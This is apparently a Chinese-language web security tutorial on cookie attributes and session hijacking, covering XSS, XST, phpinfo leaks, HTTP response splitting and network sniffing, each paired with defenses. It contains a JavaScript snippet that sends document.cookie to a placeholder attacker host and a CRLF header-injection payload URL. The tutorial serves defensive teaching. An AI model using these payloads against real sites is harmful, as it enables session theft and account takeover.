一、cookie的基本特性
如果不瞭解cookie，可以先到wikipedia上學習一下。
http request
瀏覽器向服務器發起的每個請求都會帶上cookie：
Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*
http response
服務器給瀏覽器的返回可以設置cookie：
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有關的術語
session cookie
當cookie沒有設置超時時間，那麼cookie會在瀏覽器退出時銷燬，這種cookie是session cookie。
persistent cookie/tracking cookie
設置了超時時間的cookie，會在指定時間銷燬，cookie的維持時間可以持續到瀏覽器退出之後，這種cookie被持久化在瀏覽器中。很多站點用cookie跟蹤用戶的歷史記錄，例如廣告類站點會使用cookie記錄瀏覽過哪些內容，搜索引擎會使用cookie記錄歷史搜索記錄，這時也可以稱作tracking cookie，因為它被用於追蹤用戶行為。
secure cookie
服務器端設置cookie的時候，可以指定secure屬性，這時cookie只有通過https協議傳輸的時候才會帶到網絡請求中，不加密的http請求不會帶有secure cookie。設置secure cookie的方式舉例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服務器端設置cookie的時候，也可以指定一個HttpOnly屬性。
Set-Cookie: foo=bar; Path=/; HttpOnly
設置了這個屬性的cookie在javascript中無法獲取到，只會在網絡傳輸過程中帶到服務器。
third-party cookie
第三方cookie的使用場景通常是iframe，例如www.a.com潛入了一個www.ad.com的廣告iframe，那麼www.ad.com設置的cookie屬於不屬於www.a.com，被稱作第三方cookie。
supercookie
cookie會從屬於一個域名，例如www.a.com，或者屬於一個子域，例如b.a.com。但是如果cookie被聲明為屬於.com會發生什麼？這個cookie會在任何.com域名生效。這有很大的安全性問題。這種cookie被稱作supercookie。瀏覽器做出了限制，不允許設置頂級域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。現代主流瀏覽器都很好的處理了supercookie問題，但是如果有些第三方瀏覽器使用的頂級域名和public suffix列表有問題，那麼就可以針對supercookie進行攻擊啦。
zombie cookie/evercookie
殭屍cookie是指當用戶通過瀏覽器的設置清除cookie後可以自動重新創建的cookie。原理是通過使用多重技術記錄同樣的內容(例如flash，silverlight)，當cookie被刪除時，從其他存儲中恢復。 evercookie是實現殭屍cookie的主要技術手段。 瞭解殭屍cookie和evercookie。
三、cookie有什麼用
通常cookie有三種主要的用途。
session管理
http協議本身是是無狀態的，但是現代站點很多都需要維持登錄態，也就是維持會話。最基本的維持會話的方式是Base Auth，但是這種方式，用戶名和密碼在每次請求中都會以明文的方式發送到客戶端，很容易受到中間人攻擊，存在很大的安全隱患。所以現在大多數站點採用基於cookie的session管理方式：用戶登陸成功後，設置一個唯一的cookie標識本次會話，基於這個標識進行用戶授權。只要請求中帶有這個標識，都認為是登錄態。
個性化
cookie可以被用於記錄一些信息，以便於在後續用戶瀏覽頁面時展示相關內容。典型的例子是購物站點的購物車功能。以前Google退出的iGoogle產品也是一個典型的例子，用戶可以擁有自己的Google自定製主頁，其中就使用了cookie。
user tracking
cookie也可以用於追蹤用戶行為，例如是否訪問過本站點，有過哪些操作等。
四、cookie竊取和session劫持
本文就cookie的三種用途中session管理的安全問題進行展開。 既然cookie用於維持會話，如果這個cookie被攻擊者竊取會發生什麼？session被劫持！ 攻擊者劫持會話就等於合法登錄了你的賬戶，可以瀏覽大部分用戶資源。
攻擊一旦站點中存在可利用的xss漏洞，攻擊者可直接利用注入的js腳本獲取cookie，進而通過異步請求把標識session id的cookie上報給攻擊者。
var img = document.createElement('img');
img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何尋找XSS漏洞是另外一個話題了，自行google之。 防禦 根據上面HttpOnly cookie的介紹，一旦一個cookie被設置為HttpOnly，js腳本就無法再獲取到，而網絡傳輸時依然會帶上。也就是說依然可以依靠這個cookie進行session維持，但客戶端js對其不可見。那麼即使存在xss漏洞也無法簡單的利用其進行session劫持攻擊了。 但是上面說的是無法利用xss進行簡單的攻擊，但是也不是沒有辦法的。既然無法使用document.cookie獲取到，可以轉而通過其他的方式。下面介紹兩種xss結合其他漏洞的攻擊方式。
xss結合phpinfo頁面
攻擊 大家都知道，利用php開發的應用會有一個phpinfo頁面。而這個頁面會dump出請求信息，其中就包括cookie信息。
如果開發者沒有關閉這個頁面，就可以利用xss漏洞向這個頁面發起異步請求，獲取到頁面內容後parse出cookie信息，然後上傳給攻擊者。 phpinfo只是大家最常見的一種dump請求的頁面，但不僅限於此，為了調試方便，任何dump請求的頁面都是可以被利用的漏洞。 防禦關閉所有phpinfo類dump request信息的頁面。
XSS + HTTP TRACE = XST
這是一種古老的攻擊方式，現在已經消失，寫在這裡可以擴展一下攻防思路。http trace是讓我們的web服務器將客戶端的所有請求信息返回給客戶端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發起trace請求，又可以獲取session信息了。之所以說是一種古老的攻擊方式，因為現代瀏覽器考慮到XST的危害都禁止了異步發起trace請求。另外提一點，當瀏覽器沒有禁止異步發起trace的時代，很多開發者都關閉了web server的trace支持來防禦XST攻擊。但攻擊者在特定的情況下還可以繞過，用戶使用了代理服務器，而代理服務器沒有關閉trace支持，這樣又可以trace了。
HTTP Response Splitting
- 參考1
- 參考2
通常的XSS攻擊都是把輸入內容注入到response的content中，HTTP Response Splitting是一種針對header的注入。例如，一個站點接受參數做302跳轉：
www.example.com/?r=http://baidu.com
request信息：
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html
這樣頁面就302跳轉到百度了。攻擊者利用r參數可以注入header，r參數不是簡單的url，而是包含的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response變成了：
HTTP/1.1 302 Found
Location:
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html
有兩個攻擊要點：
- 指定X=XSS-Protection: 0 ，關閉瀏覽器的xss保護機制。
- 注入腳本
防禦 針對header的內容做過濾，不能漏掉，特別是Location，host，referrer等。說到底，這也是一種XSS攻擊，只是攻擊方式與普通的不太一樣。針對header的攻擊還可以做SQL注入等，防禦的原則是對所有的輸入進行sanitize，包括非用戶輸入的內容，比如referrer這種一般由瀏覽器帶過來的信息，因為請求完全可以被偽造，未必來自瀏覽器。
網絡監聽(network eavesdropping/network sniffing)
以上是利用上層應用的特性的幾種攻擊方式，cookie不僅存在於上層應用中，更流轉於請求中。上層應用獲取不到後，攻擊者可以轉而從網絡請求中獲取。只要是未使用https加密的網站都可以抓包分析，其中就包含了標識session的cookie。當然，完成網絡監聽需要滿足一定的條件，這又是另外一個話題了。常見的方式：
- DNS緩存投毒攻擊者把要攻擊的域名的一個子域映射到攻擊者的server，然後想辦法讓被攻擊者訪問這個server(XSS request、社會化攻擊等)，請求中會帶過來所有cookie(包括HttpOnly)。
- 中間人攻擊常見的攻擊方式是搭建免費wifi，把DHCP服務器指定為攻擊者ip，在攻擊者機器上可以收到所有請求，不僅可以獲取cookie，還可以進行腳本注入。
- 代理服務器/VPN翻牆用免費VPN？呵呵。
防禦使用https。使用https協議的請求都被ssl加密，理論上不可破解，即便被網絡監聽也無法通過解密看到實際的內容。防禦網絡監聽通常有兩種方式：
- 信道加密
- 內容加密
https是加密信道，在此信道上傳輸的內容對中間人都是不可見的。但https是有成本的。內容加密比較好理解，例如對password先加密再傳輸。但是對於標識session的cookie這種標識性信息是無法通過內容加密得到保護的。那麼，使用https的站點就可以高枕無憂了嗎？事實上，一些細節上的處理不當同樣會暴露出攻擊風險。
https站點攻擊：雙協議
如果同時支持http和https，那麼還是可以使用網絡監聽http請求獲取cookie。 防禦只支持https，不支持http。這樣就好了嗎？No.
https站點攻擊：301重定向
例如www.example.com只支持https協議，當用戶直接輸入example.com(大部分用戶都不會手動輸入協議前綴)，web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請求是http的！而且帶了cookie，這樣又將cookie明文暴露在網絡上了。 防禦1 把標識session的cookie設置成secure。上面提到的secure cookie，只允許在https上加密傳輸，在http請求中不會存在，這樣就不會暴露在未加密的網絡上了。 然後現實很殘酷，很多站點根本無法做到所有的請求都走https。原因有很多，可能是成本考慮，可能是業務需求。 防禦2 設置Strict-Transport-Security header，直接省略這個http請求！用戶首次訪問後，服務器設置了這個header以後，後面就會省略掉這次http 301請求。